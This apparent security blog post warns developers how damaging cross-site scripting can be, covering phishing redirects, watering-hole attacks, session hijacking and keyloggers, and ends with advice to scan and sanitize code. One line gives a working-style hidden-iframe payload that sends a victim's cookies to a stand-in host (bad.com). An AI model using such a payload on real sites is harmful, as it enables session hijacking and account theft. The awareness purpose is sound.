Well guess what, it's worse than you think! There's a reason why OWASP keeps putting it near the top of their Top 10 Web Vulnerabilities list.
For example, one slightly more exciting example may be using XSS to redirect you to a malicious phishing website that looks identical to the site you thought you were going to.
Or perhaps an XSS flaw is used to create a popup window offering this great coupon deal, but when you click on the deal it takes you to the attackers malicious malware ridden website.
Even more scarey is using XSS is used to inject a hidden iframe that takes advantage of a vulnerability in your browser and is used to download a trojan or virus, commonly seen in Watering Hole Attacks.
==> <iframe style="position:absolute;top:-9999px" src="http://bad.com/ a.html?q=<script>document.write('<img src=\"http://bad.com/ ?c='+encodeURIComponent(document.cookie)+'\">')</script>"></ iframe >
Another frightening scenario, imagine logging into your Bank website, only to find out a few minutes later that somebody just transferred all the money out of your account. This blog walks through how with an XSS vulnerability a session cookie can be hijacked, posted to pastebin, and seconds later the attacker logs in as you. Ouch!
Imagine being the Administrator of a Blog, navigating to the page where you moderate comments, getting a session expired message, re-entering your credentials, the moving on with your work ... only to find out a few days later that your Admin account and password were stolen. This blog walks through exactly how that is possible thru XSS. Even system admins aren't safe!
Oh, but we're not done yet! Imagine navigating to a website where you enter your Credit Card, CVV, etc. for payment. This blog mentions just how simple it is to enable a key logger thru XSS and start sending all your keystrokes to an attacker. Brutal!
All of this because a developer didn't take the time to analyze their code and fix/prevent XSS. XSS is much worse than you ever thought! Perform statis analysis of your code to find these flaws before they ever go-live and fix them. Perform Dynamic Analysis scans of your websites to find vulnerabilities already existing and fix them. Sanitize all input always (If you haven't yet, read my blog on input validation to make sure you are covering all your bases).
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